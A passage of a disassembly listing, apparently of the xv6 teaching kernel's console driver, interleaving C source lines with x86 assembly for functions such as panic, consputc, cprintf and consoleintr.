8010034d: e8 ce 42 00 00 call 80104620 <release>
ilock(ip);
80100352: 89 3c 24 mov %edi,(%esp)
80100355: e8 26 13 00 00 call 80101680 <ilock>
return target - n;
8010035a: 8b 45 e4 mov -0x1c(%ebp),%eax
8010035d: 83 c4 10 add $0x10,%esp
}
80100360: 8d 65 f4 lea -0xc(%ebp),%esp
80100363: 5b pop %ebx
80100364: 5e pop %esi
80100365: 5f pop %edi
80100366: 5d pop %ebp
80100367: c3 ret
80100368: 8b 45 10 mov 0x10(%ebp),%eax
8010036b: 29 d8 sub %ebx,%eax
if(n < target){
8010036d: 3b 5d 10 cmp 0x10(%ebp),%ebx
80100370: 73 d0 jae 80100342 <consoleread+0xd2>
input.r--;
80100372: 89 15 c0 ff 10 80 mov %edx,0x8010ffc0
80100378: eb c8 jmp 80100342 <consoleread+0xd2>
8010037a: 8b 45 10 mov 0x10(%ebp),%eax
8010037d: 29 d8 sub %ebx,%eax
8010037f: eb c1 jmp 80100342 <consoleread+0xd2>
80100381: eb 0d jmp 80100390 <panic>
80100383: 90 nop
80100384: 90 nop
80100385: 90 nop
80100386: 90 nop
80100387: 90 nop
80100388: 90 nop
80100389: 90 nop
8010038a: 90 nop
8010038b: 90 nop
8010038c: 90 nop
8010038d: 90 nop
8010038e: 90 nop
8010038f: 90 nop
80100390 <panic>:
{
80100390: 55 push %ebp
80100391: 89 e5 mov %esp,%ebp
80100393: 56 push %esi
80100394: 53 push %ebx
80100395: 83 ec 30 sub $0x30,%esp
}
static inline void
cli(void)
{
asm volatile("cli");
80100398: fa cli
cons.locking = 0;
80100399: c7 05 54 a5 10 80 00 movl $0x0,0x8010a554
801003a0: 00 00 00
getcallerpcs(&s, pcs);
801003a3: 8d 5d d0 lea -0x30(%ebp),%ebx
801003a6: 8d 75 f8 lea -0x8(%ebp),%esi
cprintf("lapicid %d: panic: ", lapicid());
801003a9: e8 62 24 00 00 call 80102810 <lapicid>
801003ae: 83 ec 08 sub $0x8,%esp
801003b1: 50 push %eax
801003b2: 68 8d 73 10 80 push $0x8010738d
801003b7: e8 a4 02 00 00 call 80100660 <cprintf>
cprintf(s);
801003bc: 58 pop %eax
801003bd: ff 75 08 pushl 0x8(%ebp)
801003c0: e8 9b 02 00 00 call 80100660 <cprintf>
cprintf("\n");
801003c5: c7 04 24 ed 75 10 80 movl $0x801075ed,(%esp)
801003cc: e8 8f 02 00 00 call 80100660 <cprintf>
getcallerpcs(&s, pcs);
801003d1: 5a pop %edx
801003d2: 8d 45 08 lea 0x8(%ebp),%eax
801003d5: 59 pop %ecx
801003d6: 53 push %ebx
801003d7: 50 push %eax
801003d8: e8 63 40 00 00 call 80104440 <getcallerpcs>
801003dd: 83 c4 10 add $0x10,%esp
cprintf(" %p", pcs[i]);
801003e0: 83 ec 08 sub $0x8,%esp
801003e3: ff 33 pushl (%ebx)
801003e5: 83 c3 04 add $0x4,%ebx
801003e8: 68 a1 73 10 80 push $0x801073a1
801003ed: e8 6e 02 00 00 call 80100660 <cprintf>
for(i=0; i<10; i++)
801003f2: 83 c4 10 add $0x10,%esp
801003f5: 39 f3 cmp %esi,%ebx
801003f7: 75 e7 jne 801003e0 <panic+0x50>
panicked = 1; // freeze other CPU
801003f9: c7 05 58 a5 10 80 01 movl $0x1,0x8010a558
80100400: 00 00 00
80100403: eb fe jmp 80100403 <panic+0x73>
80100405: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100409: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80100410 <consputc>:
if(panicked){
80100410: 8b 0d 58 a5 10 80 mov 0x8010a558,%ecx
80100416: 85 c9 test %ecx,%ecx
80100418: 74 06 je 80100420 <consputc+0x10>
8010041a: fa cli
8010041b: eb fe jmp 8010041b <consputc+0xb>
8010041d: 8d 76 00 lea 0x0(%esi),%esi
{
80100420: 55 push %ebp
80100421: 89 e5 mov %esp,%ebp
80100423: 57 push %edi
80100424: 56 push %esi
80100425: 53 push %ebx
80100426: 89 c6 mov %eax,%esi
80100428: 83 ec 0c sub $0xc,%esp
if(c == BACKSPACE){
8010042b: 3d 00 01 00 00 cmp $0x100,%eax
80100430: 0f 84 b1 00 00 00 je 801004e7 <consputc+0xd7>
uartputc(c);
80100436: 83 ec 0c sub $0xc,%esp
80100439: 50 push %eax
8010043a: e8 21 5b 00 00 call 80105f60 <uartputc>
8010043f: 83 c4 10 add $0x10,%esp
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80100442: bb d4 03 00 00 mov $0x3d4,%ebx
80100447: b8 0e 00 00 00 mov $0xe,%eax
8010044c: 89 da mov %ebx,%edx
8010044e: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010044f: b9 d5 03 00 00 mov $0x3d5,%ecx
80100454: 89 ca mov %ecx,%edx
80100456: ec in (%dx),%al
pos = inb(CRTPORT+1) << 8;
80100457: 0f b6 c0 movzbl %al,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010045a: 89 da mov %ebx,%edx
8010045c: c1 e0 08 shl $0x8,%eax
8010045f: 89 c7 mov %eax,%edi
80100461: b8 0f 00 00 00 mov $0xf,%eax
80100466: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80100467: 89 ca mov %ecx,%edx
80100469: ec in (%dx),%al
8010046a: 0f b6 d8 movzbl %al,%ebx
pos |= inb(CRTPORT+1);
8010046d: 09 fb or %edi,%ebx
if(c == '\n')
8010046f: 83 fe 0a cmp $0xa,%esi
80100472: 0f 84 f3 00 00 00 je 8010056b <consputc+0x15b>
else if(c == BACKSPACE){
80100478: 81 fe 00 01 00 00 cmp $0x100,%esi
8010047e: 0f 84 d7 00 00 00 je 8010055b <consputc+0x14b>
crt[pos++] = (c&0xff) | 0x0700; // black on white
80100484: 89 f0 mov %esi,%eax
80100486: 0f b6 c0 movzbl %al,%eax
80100489: 80 cc 07 or $0x7,%ah
8010048c: 66 89 84 1b 00 80 0b mov %ax,-0x7ff48000(%ebx,%ebx,1)
80100493: 80
80100494: 83 c3 01 add $0x1,%ebx
if(pos < 0 || pos > 25*80)
80100497: 81 fb d0 07 00 00 cmp $0x7d0,%ebx
8010049d: 0f 8f ab 00 00 00 jg 8010054e <consputc+0x13e>
if((pos/80) >= 24){ // Scroll up.
801004a3: 81 fb 7f 07 00 00 cmp $0x77f,%ebx
801004a9: 7f 66 jg 80100511 <consputc+0x101>
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801004ab: be d4 03 00 00 mov $0x3d4,%esi
801004b0: b8 0e 00 00 00 mov $0xe,%eax
801004b5: 89 f2 mov %esi,%edx
801004b7: ee out %al,(%dx)
801004b8: b9 d5 03 00 00 mov $0x3d5,%ecx
outb(CRTPORT+1, pos>>8);
801004bd: 89 d8 mov %ebx,%eax
801004bf: c1 f8 08 sar $0x8,%eax
801004c2: 89 ca mov %ecx,%edx
801004c4: ee out %al,(%dx)
801004c5: b8 0f 00 00 00 mov $0xf,%eax
801004ca: 89 f2 mov %esi,%edx
801004cc: ee out %al,(%dx)
801004cd: 89 d8 mov %ebx,%eax
801004cf: 89 ca mov %ecx,%edx
801004d1: ee out %al,(%dx)
crt[pos] = ' ' | 0x0700;
801004d2: b8 20 07 00 00 mov $0x720,%eax
801004d7: 66 89 84 1b 00 80 0b mov %ax,-0x7ff48000(%ebx,%ebx,1)
801004de: 80
}
801004df: 8d 65 f4 lea -0xc(%ebp),%esp
801004e2: 5b pop %ebx
801004e3: 5e pop %esi
801004e4: 5f pop %edi
801004e5: 5d pop %ebp
801004e6: c3 ret
uartputc('\b'); uartputc(' '); uartputc('\b');
801004e7: 83 ec 0c sub $0xc,%esp
801004ea: 6a 08 push $0x8
801004ec: e8 6f 5a 00 00 call 80105f60 <uartputc>
801004f1: c7 04 24 20 00 00 00 movl $0x20,(%esp)
801004f8: e8 63 5a 00 00 call 80105f60 <uartputc>
801004fd: c7 04 24 08 00 00 00 movl $0x8,(%esp)
80100504: e8 57 5a 00 00 call 80105f60 <uartputc>
80100509: 83 c4 10 add $0x10,%esp
8010050c: e9 31 ff ff ff jmp 80100442 <consputc+0x32>
memmove(crt, crt+80, sizeof(crt[0])*23*80);
80100511: 52 push %edx
80100512: 68 60 0e 00 00 push $0xe60
pos -= 80;
80100517: 83 eb 50 sub $0x50,%ebx
memmove(crt, crt+80, sizeof(crt[0])*23*80);
8010051a: 68 a0 80 0b 80 push $0x800b80a0
8010051f: 68 00 80 0b 80 push $0x800b8000
80100524: e8 f7 41 00 00 call 80104720 <memmove>
memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos));
80100529: b8 80 07 00 00 mov $0x780,%eax
8010052e: 83 c4 0c add $0xc,%esp
80100531: 29 d8 sub %ebx,%eax
80100533: 01 c0 add %eax,%eax
80100535: 50 push %eax
80100536: 8d 04 1b lea (%ebx,%ebx,1),%eax
80100539: 6a 00 push $0x0
8010053b: 2d 00 80 f4 7f sub $0x7ff48000,%eax
80100540: 50 push %eax
80100541: e8 2a 41 00 00 call 80104670 <memset>
80100546: 83 c4 10 add $0x10,%esp
80100549: e9 5d ff ff ff jmp 801004ab <consputc+0x9b>
panic("pos under/overflow");
8010054e: 83 ec 0c sub $0xc,%esp
80100551: 68 a5 73 10 80 push $0x801073a5
80100556: e8 35 fe ff ff call 80100390 <panic>
if(pos > 0) --pos;
8010055b: 85 db test %ebx,%ebx
8010055d: 0f 84 48 ff ff ff je 801004ab <consputc+0x9b>
80100563: 83 eb 01 sub $0x1,%ebx
80100566: e9 2c ff ff ff jmp 80100497 <consputc+0x87>
pos += 80 - pos%80;
8010056b: 89 d8 mov %ebx,%eax
8010056d: b9 50 00 00 00 mov $0x50,%ecx
80100572: 99 cltd
80100573: f7 f9 idiv %ecx
80100575: 29 d1 sub %edx,%ecx
80100577: 01 cb add %ecx,%ebx
80100579: e9 19 ff ff ff jmp 80100497 <consputc+0x87>
8010057e: 66 90 xchg %ax,%ax
80100580 <printint>:
{
80100580: 55 push %ebp
80100581: 89 e5 mov %esp,%ebp
80100583: 57 push %edi
80100584: 56 push %esi
80100585: 53 push %ebx
80100586: 89 d3 mov %edx,%ebx
80100588: 83 ec 2c sub $0x2c,%esp
if(sign && (sign = xx < 0))
8010058b: 85 c9 test %ecx,%ecx
{
8010058d: 89 4d d4 mov %ecx,-0x2c(%ebp)
if(sign && (sign = xx < 0))
80100590: 74 04 je 80100596 <printint+0x16>
80100592: 85 c0 test %eax,%eax
80100594: 78 5a js 801005f0 <printint+0x70>
x = xx;
80100596: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp)
i = 0;
8010059d: 31 c9 xor %ecx,%ecx
8010059f: 8d 75 d7 lea -0x29(%ebp),%esi
801005a2: eb 06 jmp 801005aa <printint+0x2a>
801005a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
buf[i++] = digits[x % base];
801005a8: 89 f9 mov %edi,%ecx
801005aa: 31 d2 xor %edx,%edx
801005ac: 8d 79 01 lea 0x1(%ecx),%edi
801005af: f7 f3 div %ebx
801005b1: 0f b6 92 d0 73 10 80 movzbl -0x7fef8c30(%edx),%edx
}while((x /= base) != 0);
801005b8: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
801005ba: 88 14 3e mov %dl,(%esi,%edi,1)
}while((x /= base) != 0);
801005bd: 75 e9 jne 801005a8 <printint+0x28>
if(sign)
801005bf: 8b 45 d4 mov -0x2c(%ebp),%eax
801005c2: 85 c0 test %eax,%eax
801005c4: 74 08 je 801005ce <printint+0x4e>
buf[i++] = '-';
801005c6: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
801005cb: 8d 79 02 lea 0x2(%ecx),%edi
801005ce: 8d 5c 3d d7 lea -0x29(%ebp,%edi,1),%ebx
801005d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
consputc(buf[i]);
801005d8: 0f be 03 movsbl (%ebx),%eax
801005db: 83 eb 01 sub $0x1,%ebx
801005de: e8 2d fe ff ff call 80100410 <consputc>
while(--i >= 0)
801005e3: 39 f3 cmp %esi,%ebx
801005e5: 75 f1 jne 801005d8 <printint+0x58>
}
801005e7: 83 c4 2c add $0x2c,%esp
801005ea: 5b pop %ebx
801005eb: 5e pop %esi
801005ec: 5f pop %edi
801005ed: 5d pop %ebp
801005ee: c3 ret
801005ef: 90 nop
x = -xx;
801005f0: f7 d8 neg %eax
801005f2: eb a9 jmp 8010059d <printint+0x1d>
801005f4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801005fa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80100600 <consolewrite>:
int
consolewrite(struct inode *ip, char *buf, int n)
{
80100600: 55 push %ebp
80100601: 89 e5 mov %esp,%ebp
80100603: 57 push %edi
80100604: 56 push %esi
80100605: 53 push %ebx
80100606: 83 ec 18 sub $0x18,%esp
80100609: 8b 75 10 mov 0x10(%ebp),%esi
int i;
iunlock(ip);
8010060c: ff 75 08 pushl 0x8(%ebp)
8010060f: e8 4c 11 00 00 call 80101760 <iunlock>
acquire(&cons.lock);
80100614: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
8010061b: e8 40 3f 00 00 call 80104560 <acquire>
for(i = 0; i < n; i++)
80100620: 83 c4 10 add $0x10,%esp
80100623: 85 f6 test %esi,%esi
80100625: 7e 18 jle 8010063f <consolewrite+0x3f>
80100627: 8b 7d 0c mov 0xc(%ebp),%edi
8010062a: 8d 1c 37 lea (%edi,%esi,1),%ebx
8010062d: 8d 76 00 lea 0x0(%esi),%esi
consputc(buf[i] & 0xff);
80100630: 0f b6 07 movzbl (%edi),%eax
80100633: 83 c7 01 add $0x1,%edi
80100636: e8 d5 fd ff ff call 80100410 <consputc>
for(i = 0; i < n; i++)
8010063b: 39 fb cmp %edi,%ebx
8010063d: 75 f1 jne 80100630 <consolewrite+0x30>
release(&cons.lock);
8010063f: 83 ec 0c sub $0xc,%esp
80100642: 68 20 a5 10 80 push $0x8010a520
80100647: e8 d4 3f 00 00 call 80104620 <release>
ilock(ip);
8010064c: 58 pop %eax
8010064d: ff 75 08 pushl 0x8(%ebp)
80100650: e8 2b 10 00 00 call 80101680 <ilock>
return n;
}
80100655: 8d 65 f4 lea -0xc(%ebp),%esp
80100658: 89 f0 mov %esi,%eax
8010065a: 5b pop %ebx
8010065b: 5e pop %esi
8010065c: 5f pop %edi
8010065d: 5d pop %ebp
8010065e: c3 ret
8010065f: 90 nop
80100660 <cprintf>:
{
80100660: 55 push %ebp
80100661: 89 e5 mov %esp,%ebp
80100663: 57 push %edi
80100664: 56 push %esi
80100665: 53 push %ebx
80100666: 83 ec 1c sub $0x1c,%esp
locking = cons.locking;
80100669: a1 54 a5 10 80 mov 0x8010a554,%eax
if(locking)
8010066e: 85 c0 test %eax,%eax
locking = cons.locking;
80100670: 89 45 dc mov %eax,-0x24(%ebp)
if(locking)
80100673: 0f 85 6f 01 00 00 jne 801007e8 <cprintf+0x188>
if (fmt == 0)
80100679: 8b 45 08 mov 0x8(%ebp),%eax
8010067c: 85 c0 test %eax,%eax
8010067e: 89 c7 mov %eax,%edi
80100680: 0f 84 77 01 00 00 je 801007fd <cprintf+0x19d>
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
80100686: 0f b6 00 movzbl (%eax),%eax
argp = (uint*)(void*)(&fmt + 1);
80100689: 8d 4d 0c lea 0xc(%ebp),%ecx
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
8010068c: 31 db xor %ebx,%ebx
argp = (uint*)(void*)(&fmt + 1);
8010068e: 89 4d e4 mov %ecx,-0x1c(%ebp)
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
80100691: 85 c0 test %eax,%eax
80100693: 75 56 jne 801006eb <cprintf+0x8b>
80100695: eb 79 jmp 80100710 <cprintf+0xb0>
80100697: 89 f6 mov %esi,%esi
80100699: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
c = fmt[++i] & 0xff;
801006a0: 0f b6 16 movzbl (%esi),%edx
if(c == 0)
801006a3: 85 d2 test %edx,%edx
801006a5: 74 69 je 80100710 <cprintf+0xb0>
801006a7: 83 c3 02 add $0x2,%ebx
switch(c){
801006aa: 83 fa 70 cmp $0x70,%edx
801006ad: 8d 34 1f lea (%edi,%ebx,1),%esi
801006b0: 0f 84 84 00 00 00 je 8010073a <cprintf+0xda>
801006b6: 7f 78 jg 80100730 <cprintf+0xd0>
801006b8: 83 fa 25 cmp $0x25,%edx
801006bb: 0f 84 ff 00 00 00 je 801007c0 <cprintf+0x160>
801006c1: 83 fa 64 cmp $0x64,%edx
801006c4: 0f 85 8e 00 00 00 jne 80100758 <cprintf+0xf8>
printint(*argp++, 10, 1);
801006ca: 8b 45 e4 mov -0x1c(%ebp),%eax
801006cd: ba 0a 00 00 00 mov $0xa,%edx
801006d2: 8d 48 04 lea 0x4(%eax),%ecx
801006d5: 8b 00 mov (%eax),%eax
801006d7: 89 4d e4 mov %ecx,-0x1c(%ebp)
801006da: b9 01 00 00 00 mov $0x1,%ecx
801006df: e8 9c fe ff ff call 80100580 <printint>
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
801006e4: 0f b6 06 movzbl (%esi),%eax
801006e7: 85 c0 test %eax,%eax
801006e9: 74 25 je 80100710 <cprintf+0xb0>
801006eb: 8d 53 01 lea 0x1(%ebx),%edx
if(c != '%'){
801006ee: 83 f8 25 cmp $0x25,%eax
801006f1: 8d 34 17 lea (%edi,%edx,1),%esi
801006f4: 74 aa je 801006a0 <cprintf+0x40>
801006f6: 89 55 e0 mov %edx,-0x20(%ebp)
consputc(c);
801006f9: e8 12 fd ff ff call 80100410 <consputc>
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
801006fe: 0f b6 06 movzbl (%esi),%eax
continue;
80100701: 8b 55 e0 mov -0x20(%ebp),%edx
80100704: 89 d3 mov %edx,%ebx
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
80100706: 85 c0 test %eax,%eax
80100708: 75 e1 jne 801006eb <cprintf+0x8b>
8010070a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(locking)
80100710: 8b 45 dc mov -0x24(%ebp),%eax
80100713: 85 c0 test %eax,%eax
80100715: 74 10 je 80100727 <cprintf+0xc7>
release(&cons.lock);
80100717: 83 ec 0c sub $0xc,%esp
8010071a: 68 20 a5 10 80 push $0x8010a520
8010071f: e8 fc 3e 00 00 call 80104620 <release>
80100724: 83 c4 10 add $0x10,%esp
}
80100727: 8d 65 f4 lea -0xc(%ebp),%esp
8010072a: 5b pop %ebx
8010072b: 5e pop %esi
8010072c: 5f pop %edi
8010072d: 5d pop %ebp
8010072e: c3 ret
8010072f: 90 nop
switch(c){
80100730: 83 fa 73 cmp $0x73,%edx
80100733: 74 43 je 80100778 <cprintf+0x118>
80100735: 83 fa 78 cmp $0x78,%edx
80100738: 75 1e jne 80100758 <cprintf+0xf8>
printint(*argp++, 16, 0);
8010073a: 8b 45 e4 mov -0x1c(%ebp),%eax
8010073d: ba 10 00 00 00 mov $0x10,%edx
80100742: 8d 48 04 lea 0x4(%eax),%ecx
80100745: 8b 00 mov (%eax),%eax
80100747: 89 4d e4 mov %ecx,-0x1c(%ebp)
8010074a: 31 c9 xor %ecx,%ecx
8010074c: e8 2f fe ff ff call 80100580 <printint>
break;
80100751: eb 91 jmp 801006e4 <cprintf+0x84>
80100753: 90 nop
80100754: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
consputc('%');
80100758: b8 25 00 00 00 mov $0x25,%eax
8010075d: 89 55 e0 mov %edx,-0x20(%ebp)
80100760: e8 ab fc ff ff call 80100410 <consputc>
consputc(c);
80100765: 8b 55 e0 mov -0x20(%ebp),%edx
80100768: 89 d0 mov %edx,%eax
8010076a: e8 a1 fc ff ff call 80100410 <consputc>
break;
8010076f: e9 70 ff ff ff jmp 801006e4 <cprintf+0x84>
80100774: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if((s = (char*)*argp++) == 0)
80100778: 8b 45 e4 mov -0x1c(%ebp),%eax
8010077b: 8b 10 mov (%eax),%edx
8010077d: 8d 48 04 lea 0x4(%eax),%ecx
80100780: 89 4d e0 mov %ecx,-0x20(%ebp)
80100783: 85 d2 test %edx,%edx
80100785: 74 49 je 801007d0 <cprintf+0x170>
for(; *s; s++)
80100787: 0f be 02 movsbl (%edx),%eax
if((s = (char*)*argp++) == 0)
8010078a: 89 4d e4 mov %ecx,-0x1c(%ebp)
for(; *s; s++)
8010078d: 84 c0 test %al,%al
8010078f: 0f 84 4f ff ff ff je 801006e4 <cprintf+0x84>
80100795: 89 5d e4 mov %ebx,-0x1c(%ebp)
80100798: 89 d3 mov %edx,%ebx
8010079a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801007a0: 83 c3 01 add $0x1,%ebx
consputc(*s);
801007a3: e8 68 fc ff ff call 80100410 <consputc>
for(; *s; s++)
801007a8: 0f be 03 movsbl (%ebx),%eax
801007ab: 84 c0 test %al,%al
801007ad: 75 f1 jne 801007a0 <cprintf+0x140>
if((s = (char*)*argp++) == 0)
801007af: 8b 45 e0 mov -0x20(%ebp),%eax
801007b2: 8b 5d e4 mov -0x1c(%ebp),%ebx
801007b5: 89 45 e4 mov %eax,-0x1c(%ebp)
801007b8: e9 27 ff ff ff jmp 801006e4 <cprintf+0x84>
801007bd: 8d 76 00 lea 0x0(%esi),%esi
consputc('%');
801007c0: b8 25 00 00 00 mov $0x25,%eax
801007c5: e8 46 fc ff ff call 80100410 <consputc>
break;
801007ca: e9 15 ff ff ff jmp 801006e4 <cprintf+0x84>
801007cf: 90 nop
s = "(null)";
801007d0: ba b8 73 10 80 mov $0x801073b8,%edx
for(; *s; s++)
801007d5: 89 5d e4 mov %ebx,-0x1c(%ebp)
801007d8: b8 28 00 00 00 mov $0x28,%eax
801007dd: 89 d3 mov %edx,%ebx
801007df: eb bf jmp 801007a0 <cprintf+0x140>
801007e1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
acquire(&cons.lock);
801007e8: 83 ec 0c sub $0xc,%esp
801007eb: 68 20 a5 10 80 push $0x8010a520
801007f0: e8 6b 3d 00 00 call 80104560 <acquire>
801007f5: 83 c4 10 add $0x10,%esp
801007f8: e9 7c fe ff ff jmp 80100679 <cprintf+0x19>
panic("null fmt");
801007fd: 83 ec 0c sub $0xc,%esp
80100800: 68 bf 73 10 80 push $0x801073bf
80100805: e8 86 fb ff ff call 80100390 <panic>
8010080a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100810 <consoleintr>:
{
80100810: 55 push %ebp
80100811: 89 e5 mov %esp,%ebp
80100813: 57 push %edi
80100814: 56 push %esi
80100815: 53 push %ebx
int c, doprocdump = 0;
80100816: 31 f6 xor %esi,%esi
{
80100818: 83 ec 18 sub $0x18,%esp
8010081b: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&cons.lock);
8010081e: 68 20 a5 10 80 push $0x8010a520
80100823: e8 38 3d 00 00 call 80104560 <acquire>
while((c = getc()) >= 0){
80100828: 83 c4 10 add $0x10,%esp
8010082b: 90 nop
8010082c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100830: ff d3 call *%ebx
80100832: 85 c0 test %eax,%eax
80100834: 89 c7 mov %eax,%edi
80100836: 78 48 js 80100880 <consoleintr+0x70>
switch(c){
80100838: 83 ff 10 cmp $0x10,%edi
8010083b: 0f 84 e7 00 00 00 je 80100928 <consoleintr+0x118>
80100841: 7e 5d jle 801008a0 <consoleintr+0x90>
80100843: 83 ff 15 cmp $0x15,%edi
80100846: 0f 84 ec 00 00 00 je 80100938 <consoleintr+0x128>
8010084c: 83 ff 7f cmp $0x7f,%edi
8010084f: 75 54 jne 801008a5 <consoleintr+0x95>
if(input.e != input.w){
80100851: a1 c8 ff 10 80 mov 0x8010ffc8,%eax
80100856: 3b 05 c4 ff 10 80 cmp 0x8010ffc4,%eax
8010085c: 74 d2 je 80100830 <consoleintr+0x20>
input.e--;
8010085e: 83 e8 01 sub $0x1,%eax
80100861: a3 c8 ff 10 80 mov %eax,0x8010ffc8
consputc(BACKSPACE);
80100866: b8 00 01 00 00 mov $0x100,%eax
8010086b: e8 a0 fb ff ff call 80100410 <consputc>
while((c = getc()) >= 0){
80100870: ff d3 call *%ebx
80100872: 85 c0 test %eax,%eax
80100874: 89 c7 mov %eax,%edi
80100876: 79 c0 jns 80100838 <consoleintr+0x28>
80100878: 90 nop
80100879: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
release(&cons.lock);
80100880: 83 ec 0c sub $0xc,%esp
80100883: 68 20 a5 10 80 push $0x8010a520
80100888: e8 93 3d 00 00 call 80104620 <release>
if(doprocdump) {
8010088d: 83 c4 10 add $0x10,%esp
80100890: 85 f6 test %esi,%esi
80100892: 0f 85 f8 00 00 00 jne 80100990 <consoleintr+0x180>
}
80100898: 8d 65 f4 lea -0xc(%ebp),%esp
8010089b: 5b pop %ebx
8010089c: 5e pop %esi
8010089d: 5f pop %edi
8010089e: 5d pop %ebp
8010089f: c3 ret
switch(c){
801008a0: 83 ff 08 cmp $0x8,%edi
801008a3: 74 ac je 80100851 <consoleintr+0x41>
if(c != 0 && input.e-input.r < INPUT_BUF){
801008a5: 85 ff test %edi,%edi
801008a7: 74 87 je 80100830 <consoleintr+0x20>
801008a9: a1 c8 ff 10 80 mov 0x8010ffc8,%eax
801008ae: 89 c2 mov %eax,%edx
801008b0: 2b 15 c0 ff 10 80 sub 0x8010ffc0,%edx
801008b6: 83 fa 7f cmp $0x7f,%edx
801008b9: 0f 87 71 ff ff ff ja 80100830 <consoleintr+0x20>
801008bf: 8d 50 01 lea 0x1(%eax),%edx
801008c2: 83 e0 7f and $0x7f,%eax
c = (c == '\r') ? '\n' : c;
801008c5: 83 ff 0d cmp $0xd,%edi
input.buf[input.e++ % INPUT_BUF] = c;
801008c8: 89 15 c8 ff 10 80 mov %edx,0x8010ffc8
c = (c == '\r') ? '\n' : c;
801008ce: 0f 84 cc 00 00 00 je 801009a0 <consoleintr+0x190>
input.buf[input.e++ % INPUT_BUF] = c;
801008d4: 89 f9 mov %edi,%ecx
801008d6: 88 88 40 ff 10 80 mov %cl,-0x7fef00c0(%eax)
consputc(c);
801008dc: 89 f8 mov %edi,%eax
801008de: e8 2d fb ff ff call 80100410 <consputc>
if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){
801008e3: 83 ff 0a cmp $0xa,%edi
801008e6: 0f 84 c5 00 00 00 je 801009b1 <consoleintr+0x1a1>
801008ec: 83 ff 04 cmp $0x4,%edi
801008ef: 0f 84 bc 00 00 00 je 801009b1 <consoleintr+0x1a1>
801008f5: a1 c0 ff 10 80 mov 0x8010ffc0,%eax
801008fa: 83 e8 80 sub $0xffffff80,%eax
801008fd: 39 05 c8 ff 10 80 cmp %eax,0x8010ffc8
80100903: 0f 85 27 ff ff ff jne 80100830 <consoleintr+0x20>
wakeup(&input.r);
80100909: 83 ec 0c sub $0xc,%esp
input.w = input.e;
8010090c: a3 c4 ff 10 80 mov %eax,0x8010ffc4
wakeup(&input.r);
80100911: 68 c0 ff 10 80 push $0x8010ffc0
80100916: e8 15 37 00 00 call 80104030 <wakeup>
8010091b: 83 c4 10 add $0x10,%esp
8010091e: e9 0d ff ff ff jmp 80100830 <consoleintr+0x20>
80100923: 90 nop
80100924: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
doprocdump = 1;
80100928: be 01 00 00 00 mov $0x1,%esi
8010092d: e9 fe fe ff ff jmp 80100830 <consoleintr+0x20>
80100932: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
while(input.e != input.w &&
80100938: a1 c8 ff 10 80 mov 0x8010ffc8,%eax
8010093d: 39 05 c4 ff 10 80 cmp %eax,0x8010ffc4
80100943: 75 2b jne 80100970 <consoleintr+0x160>
80100945: e9 e6 fe ff ff jmp 80100830 <consoleintr+0x20>
8010094a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
input.e--;
80100950: a3 c8 ff 10 80 mov %eax,0x8010ffc8
consputc(BACKSPACE);
80100955: b8 00 01 00 00 mov $0x100,%eax
8010095a: e8 b1 fa ff ff call 80100410 <consputc>
while(input.e != input.w &&
8010095f: a1 c8 ff 10 80 mov 0x8010ffc8,%eax
80100964: 3b 05 c4 ff 10 80 cmp 0x8010ffc4,%eax
8010096a: 0f 84 c0 fe ff ff je 80100830 <consoleintr+0x20>
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
80100970: 83 e8 01 sub $0x1,%eax
80100973: 89 c2 mov %eax,%edx
80100975: 83 e2 7f and $0x7f,%edx
while(input.e != input.w &&
80100978: 80 ba 40 ff 10 80 0a cmpb $0xa,-0x7fef00c0(%edx)
8010097f: 75 cf jne 80100950 <consoleintr+0x140>
80100981: e9 aa fe ff ff jmp 80100830 <consoleintr+0x20>
80100986: 8d 76 00 lea 0x0(%esi),%esi
80100989: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
}
80100990: 8d 65 f4 lea -0xc(%ebp),%esp
80100993: 5b pop %ebx
80100994: 5e pop %esi
80100995: 5f pop %edi
80100996: 5d pop %ebp
procdump(); // now call procdump() wo. cons.lock held
80100997: e9 74 37 00 00 jmp 80104110 <procdump>
8010099c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
input.buf[input.e++ % INPUT_BUF] = c;
801009a0: c6 80 40 ff 10 80 0a movb $0xa,-0x7fef00c0(%eax)
consputc(c);
801009a7: b8 0a 00 00 00 mov $0xa,%eax
801009ac: e8 5f fa ff ff call 80100410 <consputc>
